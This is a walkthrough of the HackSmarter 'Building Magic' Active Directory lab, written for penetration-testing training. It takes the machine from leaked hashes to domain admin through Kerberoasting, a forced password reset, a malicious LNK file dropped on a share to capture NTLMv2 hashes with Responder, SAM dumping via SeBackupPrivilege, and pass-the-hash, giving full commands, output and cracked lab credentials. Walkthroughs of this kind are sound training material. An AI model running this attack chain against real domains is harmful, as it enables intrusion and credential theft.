> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/active-directory-pentesting/ad-machines-walkthroughs/hacksmarter-building-magic-walkthrough.md).
# Hacksmarter - Building Magic Walkthrough
## Machine Overview
### **Lab Overview**
* **Target Machine:** "BuildingMagic machine" on Hack Smarter Labs.
* **Difficulty:** This is an easy-rated **Active Directory** machine, similar to those found on exams like the **OSCP**.
* **Learning Objectives:** The lab will cover the following key topics and techniques:
* Initial access and reconnaissance
* **Active Directory** enumeration using tools like **BloodHound**
* Privilege escalation and lateral movement
* **Kerberoasting**
* **NTLM theft**
* Remote management with **Evil-WinRM**
* Abusing the **SeBackupPrivilege**
* Full compromise to gain **domain admin** privileges
### **Key Concepts & Tools**
* **BloodHound:** An open-source tool used to visualize and analyze relationships within an **Active Directory** environment. It helps to map out attack paths and identify privilege escalation vectors that might be difficult to find otherwise.
* **Kerberoasting:** A post-exploitation attack that targets the **Kerberos** authentication protocol. An attacker with a valid domain user account can request a service ticket for a Service Principal Name (SPN), take the ticket offline, and then crack the password hash to obtain the plaintext password of a service account.
* **NTLM Theft:** A technique where an attacker tricks a target machine into sending its **NTLM** hash to a server they control. The attacker can then attempt to crack the hash offline to obtain the user's password or use it in a "pass-the-hash" attack for authentication.
* **Evil-WinRM:** A Ruby-based tool for remote management that exploits the **Windows Remote Management (WinRM)** protocol. It provides an interactive shell on the target system, allowing an attacker to execute commands and navigate the file system.
* **SeBackupPrivilege:** A Windows privilege that allows a user to read any file on a system, regardless of its access control list (ACL). This can be abused by an attacker to copy sensitive files, such as the `NTDS.dit` file from a domain controller, for offline credential harvesting.
## Scope and Objective
**Objective:** As a penetration tester on the Hack Smarter Red Team, your objective is to achieve a full compromise of the Active Directory environment.
**Initial Access:** A prior enumeration phase has yielded a leaked database containing user credentials (usernames and hashed passwords). This information will serve as your starting point for gaining initial access to the network.
**Execution:** Your task is to leverage the compromised credentials to escalate privileges, move laterally through the Active Directory, and ultimately achieve a complete compromise of the domain.
\**Note to user:* \*To access the target machine, you must add the following entries to your `/etc/hosts` file:
* `buildingmagic.local`
* `dc01.buildingmagic.local`
**Leaked Database File:**
```
id username full_name role password
1 r.widdleton Ron Widdleton Intern Builder c4a21c4d438819d73d24851e7966229c
2 n.bottomsworth Neville Bottomsworth Plannner 61ee643c5043eadbcdc6c9d1e3ebd298
3 l.layman Luna Layman Planner 8960516f904051176cc5ef67869de88f
4 c.smith Chen Smith Builder bbd151e24516a48790b2cd5845e7f148
5 d.thomas Dean Thomas Builder 4d14ff3e264f6a9891aa6cea1cfa17cb
6 s.winnigan Samuel Winnigan HR Manager 078576a0569f4e0b758aedf650cb6d9a
7 p.jackson Parvati Jackson Shift Lead eada74b2fa7f5e142ac412d767831b54
8 b.builder Bob Builder Electrician dd4137bab3b52b55f99f18b7cd595448
9 t.ren Theodore Ren Safety Officer bfaf794a81438488e57ee3954c27cd75
10 e.macmillan Ernest Macmillan Surveyor 47d23284395f618bea1959e710bc68ef
```
### **Initial Setup & Connection**
1. **Power On the Machine:** Start the "Building Magic" machine on the Hacksmarter Labs platform. Wait for it to boot up.
2. **Download VPN Configuration:** Download the `.ovpn` VPN configuration file provided on the lab page.
3. **Connect to the VPN:** Open a terminal on your Kali Linux VM and use the `openvpn` command.
* **Command:** `sudo openvpn .ovpn`
* **Purpose:** This command uses the downloaded configuration file to establish a secure, encrypted connection to the lab network.
4. **Configure Local Host Resolution:** You must add the target machine's domain names to your `/etc/hosts` file to resolve them to the correct IP address.
* **Command:** `sudo nano /etc/hosts`
* **Purpose:** The `/etc/hosts` file is a local "phone book" that allows your Linux system to resolve domain names to IP addresses without relying on an external DNS server. This is a crucial step for Active Directory environments.
* **Required Entries:**\
\* `[target_IP_address] buildingmagic.local`\
\* `[target_IP_address] dco1.buildingmagic.local`
* The entries should follow the format: ``.
### **Credential Analysis & Validation**
* **The Initial Compromise:** The lab begins with a leaked database of credentials, a common scenario in real-world pentesting. The leaked passwords are **non-salted hashes**, making them vulnerable to cracking.
* **Non-Salted Hashes:** These are password hashes created without adding a unique, random string (salt). This allows identical passwords to produce identical hashes, making them easy to crack with pre-computed "rainbow tables" and online services like **CrackStation.net**.
* **Hash Cracking:** By using a hash cracking service, two valid passwords were found.
```
c4a21c4d438819d73d24851e7966229c
61ee643c5043eadbcdc6c9d1e3ebd298
8960516f904051176cc5ef67869de88f
bbd151e24516a48790b2cd5845e7f148
4d14ff3e264f6a9891aa6cea1cfa17cb
078576a0569f4e0b758aedf650cb6d9a
eada74b2fa7f5e142ac412d767831b54
dd4137bab3b52b55f99f18b7cd595448
bfaf794a81438488e57ee3954c27cd75
47d23284395f618bea1959e710bc68ef
```
```
r.widdleton:lilronron
t.ren:shadowhex7
```
* **Credential Validation with NetExec (nxc):** The **nxc** tool is used to test if the cracked credentials are valid within the Active Directory environment.
* **Command:** `nxc smb -u -p --shares`
* **Purpose:** This command attempts to authenticate to the target machine's SMB service using the provided username and password. The `--shares` flag lists accessible shares if authentication is successful, confirming the credentials are valid.
```
nxc smb 10.0.18.156 -u 'r.widdleton' -p 'lilronron' --shares
```
However, we test other username and password, it does not work.
## AD Enumeration & Access
### **Getting BloodHound Data ("Loot")**
The first step in a thorough Active Directory enumeration is to collect data about all domain objects. This information is often referred to as "loot" and is essential for mapping out attack paths in a tool like BloodHound.
* **Tool:** The **NetExec (nxc)** tool can be used to collect this data. It includes a built-in module for BloodHound data ingestion.
* **Command:** `nxc ldap -u -p --bloodhound --collection All --dns-server `
* **``**: The Fully Qualified Domain Name (FQDN) of the domain controller, which is `dco1.buildingmagic.local` in this case.
* **`-u` and `-p`**: The compromised user credentials (`R. Whittleton` and `little Ron Ron`).
* **`--bloodhound --all`**: These flags instruct `nxc` to use the BloodHound module and collect all available data from the domain.
* **`--dns-server`**: This flag is crucial for resolving DNS issues by explicitly telling the command which DNS server to use for the domain name.
* **Result:** This command will generate a `.zip` file containing a collection of `.json` files that represent the domain objects.
```
nxc ldap dc01.buildingmagic.local -u 'r.widdleton' -p 'lilronron' --bloodhound --collection All --dns-server 10.0.18.156
```
#### **Setting Up BloodHound**
After collecting the data, you must set up the **BloodHound** environment to analyze it.
1. **Download BloodHound CLI:** Download the latest version of the BloodHound CLI from GitHub. It simplifies the setup process by managing the necessary **Docker** containers for the BloodHound GUI and its **Neo4j** database.
2. **Extract the Archive:** The downloaded file is a `.tar.gz` archive. Use the `tar` command to extract it.
* **Command:** `tar -xf .tar.gz`
* **Note:** The `x` flag means "extract," and the `f` flag specifies the input file.
3. **Install BloodHound:** Run the `bloodhound-cli` install command to set up the Docker containers.
* **Command:** `sudo ./bloodhound-cli install`
4. **Ingest Data:** Once BloodHound is running, log in with the default credentials (`admin:admin`) and upload the `.zip` file collected with `nxc`. This populates the database with the Active Directory data.
#### **Initial AD Analysis**
With the data ingested, you can use BloodHound's visual interface to analyze the environment.
* **Initial Findings:** The initial user, **R. Whittleton**, does not have any interesting privileges or group memberships.
* **Kerberoastable Users:** Using the built-in queries, a **Kerberoastable** user, **R. Haggard**, is identified. This is a high-value target for a credential attack.
**The user is **
### **The Kerberoasting Attack**
**Kerberoasting** is an attack that exploits the Kerberos authentication protocol to obtain the password hashes of service accounts. Any authenticated user can request a service ticket for a Service Principal Name (SPN). This ticket is encrypted with the service account's password hash, which can then be taken offline and cracked.
**Collect the Kerberos Hash:** Use `nxc` to request a ticket for the Kerberoastable user and save the hash to a file.
* **Command:** `nxc ldap dco1.buildingmagic.local -u '[user]' -p '[password]' --kerberoast output.txt`
```
nxc ldap dc01.buildingmagic.local -u 'r.widdleton' -p 'lilronron' --kerberoast output.txt
```
**Crack the Hash:** Use **Hashcat** to perform an offline brute-force attack on the hash with a wordlist. The hash type for Kerberos is **13100**.
```
hashcat -m 13100 output.txt /usr/share/wordlists/rockyou.txt --force
```
**Result:** The password for **R. Haggard** is successfully cracked. This confirms a second compromised account. **rubeushagrid**
Now Check whether you have valid credentials
```
nxc smb 10.0.18.156 -u 'r.haggard' -p 'rubeushagrid' --shares
```
This R hagged user can force change the password of h.potch user.
## Privilege Escalation
This section outlines the final stages of the "Building Magic" machine compromise, starting from the **H.Potch** user and culminating in full **Domain Admin** privileges. This walkthrough demonstrates a complete attack chain, from initial foothold to full domain control.
***
### **Escalating to H. Potch**
Building on the **Kerberoasting** attack from the previous video, your goal is to leverage the "Force Change Password" privilege to gain access to the **H. Potch** account.
* **Tool:** The **Samba `net rpc`** command is used to execute a remote procedure call to change a user's password.
```
net rpc password "h.potch" 'HackSmarter123!' -U 'buildingmagic.local'/"r.haggard"%'rubeushagrid' -S "dc01.buildingmagic.local"
```
* **Verification:** After the password is reset, use **NetExec (nxc)** to verify that you can now authenticate as **H.Potch**. Upon successful login, you'll discover that **H. Potch** has write access to a **"FileShare"**.
```
nxc smb 10.0.18.156 -u 'h.potch' -p 'HackSmarter123!' --shares
```
***
### **Lateral Movement to H.Grangon**
With a new foothold and a writable share, the next step is to gain access to another user account. This is accomplished by leveraging the writable share to perform an **LLMNR/NBNS poisoning** attack.
We have a writable share. It is nearly the attack pattern. We can put a lnk file into the writable share, and then if any other user opens it, we can capture the hash in responder. We have netexec module for it.
* **Attack:** By placing a malicious shortcut file on a writable network share, an attacker can trick other users into attempting to connect to a server they control, thereby leaking their **NTLMv2 hash**.
* **Tool 1: Responder:** Responder is a tool that listens for and intercepts authentication requests. It acts as a malicious server to capture the NTLMv2 hash. In one tab start the responder
* **Command:** `sudo responder -I ` (e.g., `tun0` for VPN)
```
sudo responder -I tun0
```
* **Tool 2: NetExec (`nxc`) with the `slinky` Module:** The **`slinky`** module automates the process of creating and placing a malicious shortcut file on a writable share.
* **Command:** `nxc smb -u H.Potch -p -M slinky -O server= shares='FileShare' name='Hacksmarter'`
```
nxc smb 10.0.18.156 -u H.Potch -p 'HackSmarter123!' -M slinky -o server=10.200.76.56 shares='File-Share' name='Hacksmarter'
```
* **Result:** As another user (`H.Grangon`) browses the share, Responder captures their **NTLMv2** hash. You can then use **Hashcat** with a wordlist to crack the hash offline, revealing the password `magic forever`.
```
[SMB] NTLMv2-SSP Client : 10.1.131.202
[SMB] NTLMv2-SSP Username : BUILDINGMAGIC\h.grangon
[SMB] NTLMv2-SSP Hash : h.grangon::BUILDINGMAGIC:2e892b8635e20f7f:B74280E1743FF7707D6FF63763700163:0101000000000000002DEBDF5B23DC0199BF12BCBACBD0650000000002000800380059004B00300001001E00570049004E002D00570035003000330051004E004400590031004700420004003400570049004E002D00570035003000330051004E00440059003100470042002E00380059004B0030002E004C004F00430041004C0003001400380059004B0030002E004C004F00430041004C0005001400380059004B0030002E004C004F00430041004C0007000800002DEBDF5B23DC010600040002000000080030003000000000000000000000000040000030CEBA6FF355E7262F7687484F8E1CB0FC5AD5949065F58863D05D65597D35B20A001000000000000000000000000000000000000900220063006900660073002F00310030002E003200300030002E0030002E003100330037000000000000000000
```
Now save the hash in a file and crack it with hashcat
```
hashcat hash.txt /usr/share/wordlists/rockyou.txt --force
```
or with john
```
john hash.txt -w=/usr/share/wordlists/rockyou.txt
```
And we have new set of username and password
```
h.grangon:magic4ever
```
We can now see if we have access to the machine with new credentials
```
nxc smb 10.0.18.156 -u 'h.grangon' -p 'magic4ever' --shares
```
This user is also a member of the group of remote management users
***
## **Final Privilege Escalation & Domain Compromise**
The **H. Grangon** account is the key to full domain compromise.
### **Remote Management Access**
BloodHound reveals that **H. Grangon** is a member of the **Remote Management Users** group. This allows for remote command-line access to the domain controller.
* **Tool:** **Evil-WinRM**
* **Command:** `evil-winrm -i -u [user] -p [password]`
* **Result:** A fully interactive shell on the domain controller as **H. Grangon**.
```
evil-winrm -i 10.0.18.156 -u 'h.grangon' -p 'magic4ever'
```
### **Abusing the SeBackupPrivilege**
Running the `whoami /priv` command reveals that the **H.Grangon** account holds the **SeBackupPrivilege**. This privilege allows a user to read any file on the system, even those with restricted permissions. You can abuse this to obtain the password hashes of local users.
```
whoami /priv
```
* **Commands:** `reg save hklm\sam C:\Users\\Desktop\sam` and `reg save hklm\system C:\Users\\Desktop\system`
* **Purpose:** These commands save the `SAM` and `SYSTEM` registry hives to a file, which contain the local user hashes.
* **Download:** Use the `evil-winrm` built-in `download` command to transfer these files to your Kali machine.
### **Dumping & Reusing Hashes:**
* **Tool:** The **`impacket-secretsdump`** script is used to extract the local hashes from the downloaded files.
* **Command:** `impacket-secretsdump -sam -system local`
```
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump -sam sam -system system local
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0xf61a94fb13f74350a1f87f509c8c455c
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:520126a03f5d5a8d836f1c4f34ede7ce:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```
* **Result:** The hashes for local users, including the `Administrator` account, are dumped. While the local administrator account is disabled, the hash itself can be used in a **password reuse** attack against other accounts in the domain.
**We then tried to use evil-winrm to get a shell with local admin account but it failed.**
### **Full Domain Compromise by password reuse**
By attempting to use the local administrator's hash on other users, you can use the password reuse attack to compromise. We can enumerate users on the machine in evil-winrm.
```
net users
```
Now, we have one user who has not been compromised yet.
**A.Flatch**. A quick check with BloodHound confirms that **A.Flatch** is a member of the **Domain Admins** group.
We can try to use the admin hash (password reuse)
```
evil-winrm -i 10.0.18.156 -u 'a.flatch' -H '520126a03f5d5a8d836f1c4f34ede7ce'
```
And we are in
**Final Flag:** With full **Domain Admin** privileges, you can now retrieve the root flag from the administrator's desktop.